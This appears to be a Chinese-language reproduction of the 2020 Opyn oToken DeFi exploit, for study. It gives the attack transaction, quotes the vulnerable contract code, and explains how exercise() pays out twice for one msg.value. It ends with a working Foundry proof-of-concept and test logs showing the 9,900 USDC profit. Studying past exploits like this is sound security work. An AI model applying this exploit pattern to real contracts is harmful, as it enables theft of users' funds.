# defi 攻击复现 Opyn

* 涉及到的交易和地址
    

攻击发生的交易 [https://etherscan.io/tx/0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a](https://etherscan.io/tx/0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a)

USDC (USDC) 合约地址 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48

攻击合约地址 0xe7870231992Ab4b1A01814FA0A599115FE94203f

受害者 oToken 合约地址 0x951D51bAeFb72319d9FBE941E1615938d89ABfe2

* 可视化
    

[https://app.blocksec.com/explorer/tx/eth/0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a](https://app.blocksec.com/explorer/tx/eth/0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a)

* 交易详情
    

```plaintext
Transaction Hash:0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a
Status:Success
Block:10592517
Timestamp:1853 days ago (Aug-04-2020 09:41:56 AM UTC)

From:0x915C2D6f571d3d47A182Dd59D5F41e87d4c3fb8E
Interacted With (To):0xe7870231992Ab4b1A01814FA0A599115FE94203f

Internal Transactions:
Transfer30 ETH $133,759.49 From 0xe7870231...5FE94203f To 0x951D51bA...8d89ABfe2 
Transfer30 ETH $133,759.49 From 0x951D51bA...8d89ABfe2 To 0xe7870231...5FE94203f 

ERC-20 Tokens Transferred: 6 
From 0xe7870231...5FE94203f To 0x951D51bA...8d89ABfe2 For 9,900 $9,898.05 USDC (USDC)
From Null: 0x000...000 To 0xe7870231...5FE94203f For 30 ERC20 *** 
From 0xe7870231...5FE94203f To Null: 0x000...000 For 30 ERC20 ***
From 0x951D51bA...8d89ABfe2 To 0xe7870231...5FE94203f For 9,900 $9,898.05 USDC (USDC)
From 0xe7870231...5FE94203f To Null: 0x000...000 For30 ERC20 ***
From 0x951D51bA...8d89ABfe2 To 0xe7870231...5FE94203f For 9,900 $9,898.05 USDC (USDC)

Input Data:
0xfad517ac00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000100000000000000000000000001bdb7ada61c82e951b9ed9f0d312dc9af0ba0f200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000011e1a300
```

* oToken 合约源码
    

```plaintext
oToken 合约源码
contracts/oToken.sol

line 1084-1183
/**
 * @title Opyn's Options Contract
 * @author Opyn
 */
contract OptionsContract is Ownable, ERC20 {
...
    // Keeps track of the weighted collateral and weighted debt for each vault.
    struct Vault {
        uint256 collateral;
        uint256 oTokensIssued;
        uint256 underlying;
        bool owned;
    }

    OptionsExchange public optionsExchange;

    mapping(address => Vault) internal vaults;

    address payable[] internal vaultOwners;
...
    // The time of expiry of the options contract
    uint256 public expiry;
...
    // The collateral asset
    
    IERC20 public collateral;

    // The asset being protected by the insurance
    
    IERC20 public underlying;

    // The asset in which insurance is denominated in.
    IERC20 public strike;
...

line 1379-1399
    /**
     * @notice Checks if a `owner` has already created a Vault
     * @param owner The address of the supposed owner
     * @return true or false
     */
    function hasVault(address payable owner) public view returns (bool) {
        return vaults[owner].owned;
    }
    /**
     * @notice Creates a new empty Vault and sets the owner of the vault to be the msg.sender.
     */
    function openVault() public notExpired returns (bool) {
        require(!hasVault(msg.sender), "Vault already created");

        vaults[msg.sender] = Vault(0, 0, 0, true);
        vaultOwners.push(msg.sender);

        emit VaultOpened(msg.sender);
        return true;
    }
...

line 1426-1453
    /**
     * @notice If the collateral type is any ERC20, anyone can call this function any time before
     * expiry to increase the amount of collateral in a Vault. Can only transfer in the collateral asset.
     * Will fail if ETH is the collateral asset.
     * The user has to allow the contract to handle their ERC20 tokens on his behalf before these
     * functions are called.
     * Remember that adding ERC20 collateral even if no oTokens have been created can put the owner at a
     * risk of losing the collateral. Ensure that you issue and immediately sell the oTokens!
     * (Either call the createAndSell function in the oToken contract or batch the
     * addERC20Collateral, issueOTokens and sell transactions and ensure they happen atomically to protect
     * the end user).
     * @param vaultOwner the index of the Vault to which collateral will be added.
     * @param amt the amount of collateral to be transferred in.
     */
    function addERC20Collateral(address payable vaultOwner, uint256 amt)
        public
        notExpired
        returns (uint256)
    {
        require(
            collateral.transferFrom(msg.sender, address(this), amt),
            "Could not transfer in collateral tokens"
        );
        require(hasVault(vaultOwner), "Vault does not exist");

        emit ERC20CollateralAdded(vaultOwner, amt, msg.sender);
        return _addCollateral(vaultOwner, amt);
    }

line 1484-1520
    /**
     * @notice Called by anyone holding the oTokens and underlying during the
     * exercise window i.e. from `expiry - windowSize` time to `expiry` time. The caller
     * transfers in their oTokens and corresponding amount of underlying and gets
     * `strikePrice * oTokens` amount of collateral out. The collateral paid out is taken from
     * the each vault owner starting with the first and iterating until the oTokens to exercise
     * are found.
     * NOTE: This uses a for loop and hence could run out of gas if the array passed in is too big!
     * @param oTokensToExercise the number of oTokens being exercised.
     * @param vaultsToExerciseFrom the array of vaults to exercise from.
     */
    function exercise(
        uint256 oTokensToExercise,
        address payable[] memory vaultsToExerciseFrom
    ) public payable {
        for (uint256 i = 0; i < vaultsToExerciseFrom.length; i++) {
            address payable vaultOwner = vaultsToExerciseFrom[i];
            require(
                hasVault(vaultOwner),
                "Cannot exercise from a vault that doesn't exist"
            );
            Vault storage vault = vaults[vaultOwner];
            if (oTokensToExercise == 0) {
                return;
            } else if (vault.oTokensIssued >= oTokensToExercise) {
                _exercise(oTokensToExercise, vaultOwner);
                return;
            } else {
                oTokensToExercise = oTokensToExercise.sub(vault.oTokensIssued);
                _exercise(vault.oTokensIssued, vaultOwner);
            }
        }
        require(
            oTokensToExercise == 0,
            "Specified vaults have insufficient collateral"
        );
    }


line 1539-1569
    /**
     * @notice This function is called to issue the option tokens. Remember that issuing oTokens even if they
     * haven't been sold can put the owner at a risk of not making premiums on the oTokens. Ensure that you
     * issue and immidiately sell the oTokens! (Either call the createAndSell function in the oToken contract
     * of batch the issueOTokens transaction with a sell transaction and ensure it happens atomically).
     * @dev The owner of a Vault should only be able to have a max of
     * repo.collateral * collateralToStrike / (minminCollateralizationRatio * strikePrice) tokens issued.
     * @param oTokensToIssue The number of o tokens to issue
     * @param receiver The address to send the oTokens to
     */
    function issueOTokens(uint256 oTokensToIssue, address receiver)
        public
        notExpired
    {
        //check that we're properly collateralized to mint this number, then call _mint(address account, uint256 amount)
        require(hasVault(msg.sender), "Vault does not exist");

        Vault storage vault = vaults[msg.sender];

        // checks that the vault is sufficiently collateralized
        uint256 newOTokensBalance = vault.oTokensIssued.add(oTokensToIssue);
        require(isSafe(vault.collateral, newOTokensBalance), "unsafe to mint");

        // issue the oTokens
        vault.oTokensIssued = newOTokensBalance;
        _mint(receiver, oTokensToIssue);

        emit IssuedOTokens(receiver, oTokensToIssue, msg.sender);
        return;
    }

line 1570-1586
    /**
     * @notice Returns the vault for a given address
     * @param vaultOwner the owner of the Vault to return
     */
    function getVault(address payable vaultOwner)
        public
        view
        returns (uint256, uint256, uint256, bool)
    {
        Vault storage vault = vaults[vaultOwner];
        return (
            vault.collateral,
            vault.oTokensIssued,
            vault.underlying,
            vault.owned
        );
    }

line 1784-1806
    /**
     * @notice This function calculates and returns the amount of collateral in the vault
    */
    function getCollateral(address payable vaultOwner)
        internal
        view
        returns (uint256)
    {
        Vault storage vault = vaults[vaultOwner];
        return vault.collateral;
    }

    /**
     * @notice This function calculates and returns the amount of puts issued by the Vault
    */
    function getOTokensIssued(address payable vaultOwner)
        internal
        view
        returns (uint256)
    {
        Vault storage vault = vaults[vaultOwner];
        return vault.oTokensIssued;
    }

line 1808-1903
    /**
     * @notice Called by anyone holding the oTokens and underlying during the
     * exercise window i.e. from `expiry - windowSize` time to `expiry` time. The caller
     * transfers in their oTokens and corresponding amount of underlying and gets
     * `strikePrice * oTokens` amount of collateral out. The collateral paid out is taken from
     * the specified vault holder. At the end of the expiry window, the vault holder can redeem their balance
     * of collateral. The vault owner can withdraw their underlying at any time.
     * The user has to allow the contract to handle their oTokens and underlying on his behalf before these functions are called.
     * @param oTokensToExercise the number of oTokens being exercised.
     * @param vaultToExerciseFrom the address of the vaultOwner to take collateral from.
     * @dev oTokenExchangeRate is the number of underlying tokens that 1 oToken protects.
     */
    function _exercise(
        uint256 oTokensToExercise,
        address payable vaultToExerciseFrom
    ) internal {
        // 1. before exercise window: revert
        require(
            isExerciseWindow(),
            "Can't exercise outside of the exercise window"
        );

        require(hasVault(vaultToExerciseFrom), "Vault does not exist");

        Vault storage vault = vaults[vaultToExerciseFrom];
        require(oTokensToExercise > 0, "Can't exercise 0 oTokens");
        // Check correct amount of oTokens passed in)
        require(
            oTokensToExercise <= vault.oTokensIssued,
            "Can't exercise more oTokens than the owner has"
        );
        // Ensure person calling has enough oTokens
        require(
            balanceOf(msg.sender) >= oTokensToExercise,
            "Not enough oTokens"
        );

        // 1. Check sufficient underlying
        // 1.1 update underlying balances
        uint256 amtUnderlyingToPay = underlyingRequiredToExercise(
            oTokensToExercise
        );
        vault.underlying = vault.underlying.add(amtUnderlyingToPay);

        // 2. Calculate Collateral to pay
        // 2.1 Payout enough collateral to get (strikePrice * oTokens) amount of collateral
        uint256 amtCollateralToPay = calculateCollateralToPay(
            oTokensToExercise,
            Number(1, 0)
        );

        // 2.2 Take a small fee on every exercise
        uint256 amtFee = calculateCollateralToPay(
            oTokensToExercise,
            transactionFee
        );
        totalFee = totalFee.add(amtFee);

        uint256 totalCollateralToPay = amtCollateralToPay.add(amtFee);
        require(
            totalCollateralToPay <= vault.collateral,
            "Vault underwater, can't exercise"
        );

        // 3. Update collateral + oToken balances
        vault.collateral = vault.collateral.sub(totalCollateralToPay);
        vault.oTokensIssued = vault.oTokensIssued.sub(oTokensToExercise);

        // 4. Transfer in underlying, burn oTokens + pay out collateral
        // 4.1 Transfer in underlying
        if (isETH(underlying)) {
            require(msg.value == amtUnderlyingToPay, "Incorrect msg.value");
        } else {
            require(
                underlying.transferFrom(
                    msg.sender,
                    address(this),
                    amtUnderlyingToPay
                ),
                "Could not transfer in tokens"
            );
        }
        // 4.2 burn oTokens
        _burn(msg.sender, oTokensToExercise);

        // 4.3 Pay out collateral
        transferCollateral(msg.sender, amtCollateralToPay);

        emit Exercise(
            amtUnderlyingToPay,
            amtCollateralToPay,
            msg.sender,
            vaultToExerciseFrom
        );

    }

line 1905-1919
    /**
     * @notice adds `_amt` collateral to `vaultOwner` and returns the new balance of the vault
     * @param vaultOwner the index of the vault
     * @param amt the amount of collateral to add
     */
    function _addCollateral(address payable vaultOwner, uint256 amt)
        internal
        notExpired
        returns (uint256)
    {
        Vault storage vault = vaults[vaultOwner];
        vault.collateral = vault.collateral.add(amt);

        return vault.collateral;
    }

line 1921-1926
    /**
     * @notice checks if a hypothetical vault is safe with the given collateralAmt and oTokensIssued
     * @param collateralAmt The amount of collateral the hypothetical vault has
     * @param oTokensIssued The amount of oTokens generated by the hypothetical vault
     * @return true or false
     */

line 2098-2186

/**
 * @title Opyn's Options Contract
 * @author Opyn
 */

contract oToken is OptionsContract {
    /**
    * @param _collateral The collateral asset
    * @param _collExp The precision of the collateral (-18 if ETH)
    * @param _underlying The asset that is being protected
    * @param _underlyingExp The precision of the underlying asset
    * @param _oTokenExchangeExp The precision of the `amount of underlying` that 1 oToken protects
    * @param _strikePrice The amount of strike asset that will be paid out
    * @param _strikeExp The precision of the strike asset (-18 if ETH)
    * @param _strike The asset in which the insurance is calculated
    * @param _expiry The time at which the insurance expires
    * @param _optionsExchange The contract which interfaces with the exchange + oracle
    * @param _oracleAddress The address of the oracle
    * @param _windowSize UNIX time. Exercise window is from `expiry - _windowSize` to `expiry`.
    */
    constructor(
        IERC20 _collateral,
        int32 _collExp,
        IERC20 _underlying,
        int32 _underlyingExp,
        int32 _oTokenExchangeExp,
        uint256 _strikePrice,
        int32 _strikeExp,
        IERC20 _strike,
        uint256 _expiry,
        OptionsExchange _optionsExchange,
        address _oracleAddress,
        uint256 _windowSize
    )
...
    /**
     * @notice adds ETH collateral, and mints new oTokens in one step to an existing Vault
     * Remember that creating oTokens can put the owner at a risk of losing the collateral
     * if an exercise event happens.
     * The sell function provides the owner a chance to earn premiums.
     * Ensure that you create and immediately sell oTokens atmoically.
     * @param amtToCreate number of oTokens to create
     * @param receiver address to send the Options to
     */
    function addETHCollateralOption(uint256 amtToCreate, address receiver)
        public
        payable
    {
        addETHCollateral(msg.sender);
        issueOTokens(amtToCreate, receiver);
    }

line 2228-2264
    /**
     * @notice opens a Vault, adds ERC20 collateral, and mints new oTokens in one step
     * Remember that creating oTokens can put the owner at a risk of losing the collateral
     * if an exercise event happens.
     * The sell function provides the owner a chance to earn premiums.
     * Ensure that you create and immediately sell oTokens atmoically.
     * @param amtToCreate number of oTokens to create
     * @param amtCollateral amount of collateral added
     * @param receiver address to send the Options to
     */
    function createERC20CollateralOption(
        uint256 amtToCreate,
        uint256 amtCollateral,
        address receiver
    ) external {
        openVault();
        addERC20CollateralOption(amtToCreate, amtCollateral, receiver);
    }

    /**
     * @notice adds ERC20 collateral, and mints new oTokens in one step
     * Remember that creating oTokens can put the owner at a risk of losing the collateral
     * if an exercise event happens.
     * The sell function provides the owner a chance to earn premiums.
     * Ensure that you create and immediately sell oTokens atmoically.
     * @param amtToCreate number of oTokens to create
     * @param amtCollateral amount of collateral added
     * @param receiver address to send the Options to
     */
    function addERC20CollateralOption(
        uint256 amtToCreate,
        uint256 amtCollateral,
        address receiver
    ) public {
        addERC20Collateral(msg.sender, amtCollateral);
        issueOTokens(amtToCreate, receiver);
    }
```

* 交易过程
    

step1

oToken 合约.addERC20CollateralOption 函数

传入参数：创建的 oToken 数量=30 oETH，抵押物数量=9900 USDC， oToken 接收者=攻击者

内部 addERC20Collateral(msg.sender, amtCollateral) 函数

传入参数：保险库所有者=消息发送者，保险库内该所有者抵押物数量=本次添加的数量 addERC20Collateral

内部检查\[抵押物是否已经从 msg.sender 转移到当前合约\]，内部 \_addCollateral(vaultOwner, amt)函数

传入参数：保险库所有者=消息发送者，本次添加的数量

oToken 合约.addERC20CollateralOption 函数

内部 issueOTokens(amtToCreate, receiver) 函数

传入参数：签发的 oToken 数量=创建的 oToken 数量=30 oETH， oToken 接收者=攻击者 issueOTokens(amtToCreate, receiver) 内部 \_mint(receiver, oTokensToIssue) 函数

传入参数：oToken 接收者=攻击者，签发的 oToken 数量=创建的 oToken 数量=30 oETH

执行结果：

攻击者\[消息发送者\]向 oToken 合约转移 9900 USDC 作为抵押物；攻击者\[消息发送者\]获得 oToken 合约签发的 30 oETH

step2

oToken 合约.exercise 函数

传入参数：**<mark>行权的 oToken 数量=60 oETH，准备行权的保险库地址数组=[攻击者,0x01bdb7ada61c82e951b9ed9f0d312dc9af0ba0f2]，以及[msg.value]=30 ETH</mark>**

内部 \_exercise(oTokensToExercise, vaultOwner) 函数

传入参数：同 exercise 函数

函数体：检查\[行权窗口期\]，通过；检查\[准备行权的保险库地址数组 是否已经建立了保险库\]，通过；检查\[保险库内的已签发 oToken 数量 与 准备行权的 oToken 数量 关系\]，通过；检查\[基础资产是否充足，由传入的 准备行权的 oToken 数量计算得出 需要支付的基础资产数量\]；计算\[需要支付的抵押物数量\]；更新\[抵押物余额和 oToken 余额\]；转移基础资产+销毁 oToken +支付抵押物

在\[转移基础资产+销毁 oToken +支付抵押物\]环节：检查\[基础资产是否为 ETH \]；如果\[是\]，检查\[msg.value 是否等于 需要支付的基础资产数量\]。实际传入的就是 ETH\[因为msg.value =30 ETH\]，所以 if 语句成立；下一步就是销毁\[准备行权的 oToken \]以及\[向 msg.sender 转移抵押物\]；释放\[行权\]事件\[需要支付的基础资产数量=30 ETH，需要支付的抵押物=9900 USDC，行权人=攻击者，准备行权的保险库地址=攻击者\]

\[攻击者\]作为\[准备行权的保险库地址\]执行完毕，但 oToken 合约.exercise 函数并未结束，因为传入的\[准备行权的保险库地址\]是数组，共两个地址，第一个是\[攻击者\]；第二个是\[0x01bdb7ada61c82e951b9ed9f0d312dc9af0ba0f2\]

于是对该地址执行 exercise 函数逻辑，传入参数都一样

执行结果：

\[准备行权的保险库地址数组\]第一个元素也就是\[攻击者\] oToken 合约销毁\[攻击者的 30 oETH\]；然后\[把抵押物转移给 msg.sender 也就是 攻击者，转移数量 9900 USDC\]

\[准备行权的保险库地址数组\]第一个元素也就是\[0x01bdb7ada61c82e951b9ed9f0d312dc9af0ba0f2\] oToken 合约销毁\[攻击者的 30 oETH\]；然后\[把抵押物转移给 msg.sender 也就是 攻击者，转移数量 9900 USDC\]

**<mark>攻击者输入的 oTokensToExercise 为 60 oETH，所以合约在验证了第二个地址符合条件的情况下，依旧会将余额转给 msg.sender,也就是攻击者。这就使得攻击者可以获得两次 9900 USDC，从而获得利润</mark>**

* EXP
    

[https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-08/Opyn\_exp.sol](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-08/Opyn_exp.sol)

```plaintext
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import "./interface.sol";

/*
@Analysis 
https://medium.com/opyn/opyn-eth-put-exploit-post-mortem-1a009e3347a8

@Transaction
0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a*/

// 攻击合约
contract ContractTest is Test {
    IOpyn opyn = IOpyn(0x951D51bAeFb72319d9FBE941E1615938d89ABfe2);// oToken 合约地址，定义为接口实例，便可使用其函数

    address attacker = 0xe7870231992Ab4b1A01814FA0A599115FE94203f;// 攻击者地址

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);// 按照 foundry 说明文档，通过使用作弊码地址（0x7109709ECfa91a80626fF3989D68f67F5b1DD12D）来提供作弊码

    IUSDC usdc = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);// USDC 合约地址，定义为接口实例，便可使用其函数

    function setUp() public {
        cheats.createSelectFork("mainnet", 10_592_516); // 分叉攻击发生的前一区块，因为攻击发生在 10592517
    }

    function test_attack() public {
        cheats.startPrank(attacker);// 按照 foundry 说明文档，startPrank 函数设置 attacker 用于所有后续调用，直到调用 stopPrank 为止

        uint256 balBefore = usdc.balanceOf(attacker) / 1e6;// 攻击之前的攻击者 USDC 余额
        console.log("Attacker USDC balance before is    ", balBefore);
        console.log("------EXPLOIT-----");

        //Adds ERC20 collateral, and mints new oTokens in one step
        uint256 amtToCreate = 300_000_000;// 添加抵押物，创建 oToken 数量 30 oETH
        uint256 amtCollateral = 9_900_000_000;// 抵押物数量 9900 USDC 
        opyn.addERC20CollateralOption(amtToCreate, amtCollateral, attacker);// 参数传入 oToken 合约的 addERC20CollateralOption 函数

        //create an arry of vaults
        address payable[] memory _arr = new address payable[](2);// 构建[准备行权的保险库地址数组]，长度为 2
        _arr[0] = payable(0xe7870231992Ab4b1A01814FA0A599115FE94203f);// 数组第一个元素[攻击者]
        _arr[1] = payable(0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2);// 数组第二个元素[0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2]

        //The attacker excercises the put option on two different valuts using the same msg.value
        opyn.exercise{value: 30 ether}(600_000_000, _arr);// 调用 oToken 合约的 exercise 函数，传入参数 oToken 数量 60 oETH，[准备行权的保险库地址数组]，同时 msg.value 30 ETH

        //remove share of underlying after excercise
        opyn.removeUnderlying();// 移除基础资产

        uint256 balAfter = usdc.balanceOf(attacker) / 1e6;// 攻击之后的攻击者 USDC 余额
        console.log("Attacker USDC balance after is     ", balAfter);
        console.log("Attacker profit is                  ", balAfter - balBefore);
    }
}
```

* 使用 forge 命令测试结果
    

```plaintext
$ forge test Opyn_exp.t.sol -vvv
[?] Compiling...
[?] Compiling 20 files with Solc 0.8.17
[?] Solc 0.8.17 finished in 4.54s
Compiler run successful with warnings:

Ran 1 test for test/Opyn_exp.t.sol:ContractTest
[PASS] test_attack() (gas: 214568)
Logs:
  Attacker USDC balance before is     68504
  ------EXPLOIT-----
  Attacker USDC balance after is      78404
  Attacker profit is                   9900
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.53s (12.36s CPU time)
Ran 1 test suite in 14.55s (14.53s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

* 主要参考文章
    

```plaintext
https://zhuanlan.zhihu.com/p/170034892

https://www.panewslab.com/zh/articles/D42661729

https://www.jinse.cn/blockchain/777079.html
```
